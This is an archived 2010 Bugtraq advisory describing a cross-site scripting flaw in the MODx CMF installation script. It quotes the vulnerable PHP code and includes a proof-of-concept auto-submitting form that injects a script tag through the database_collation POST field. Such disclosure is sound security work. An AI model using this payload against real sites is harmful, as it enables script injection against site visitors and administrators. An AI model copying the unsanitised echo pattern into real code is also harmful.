bugtraq - Re: MODx Installation File XSS Vulnerability

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <20100707225939.12060.qmail@securityfocus.com>
Date: 7 Jul 2010 22:59:39 -0000
From: rimsa@...e.com
To: bugtraq@...urityfocus.com
Subject: Re: MODx Installation File XSS Vulnerability

Html tags were removed from the advisory during the submission process. Hopefully the following advisory will correct this.

Title: MODx Installation File XSS Vulnerability
Vendor: MODx
Product: MODx CMF
Tested Versions: 1.0.3, 1.0.4
Threat Class: XSS
Severity: Medium
Remote: yes
Local: no
Discovered By: Andrei Rimsa Alvares

===== Description =====

MODx CMF is prone to a XSS vulnerability caused by unsanitized user input data. The bug occurs in a file used in the installation process. A description of the affected file is shown below:

--- install/connection.collation.php ----
01: <?php
    ...
06: $database_collation = $_POST['database_collation'];
    ...
08: $output = '<select id="database_collation" name="database_collation">
09: <option value="'.$database_collation.'" selected >'.$database_collation.'</option></select>';
    ...
23: echo $output;
24: ?>
--- install/connection.collation.php ----

The variable $database_collation (line 6) receives user data via http post request and gets propagated to variable $output (line 9) without proper sanitization. Later the $output variable is outputted to the page in every program path causing the bug (line 23).

===== Impact =====

Malicious java script code can be executed in the context of the affected web site.

===== Proof of Concept =====

<form action="http://target/install/connection.collation.php" name="evil" method="post">
  <input type="hidden" name="database_collation" value="</option></select><script>window.alert(String.fromCharCode(88,83,83));</script>" />
</form>
<script>
document.evil.submit();
</script>

===== Workaround =====

Remove all installation files after MODx is successfully installed.

===== Disclosure Timeline =====

June, 16 2010 - Vendor notification.
July, 07 2010 - No vendor reply. Public disclosure.

===== References =====

http://modxcms.com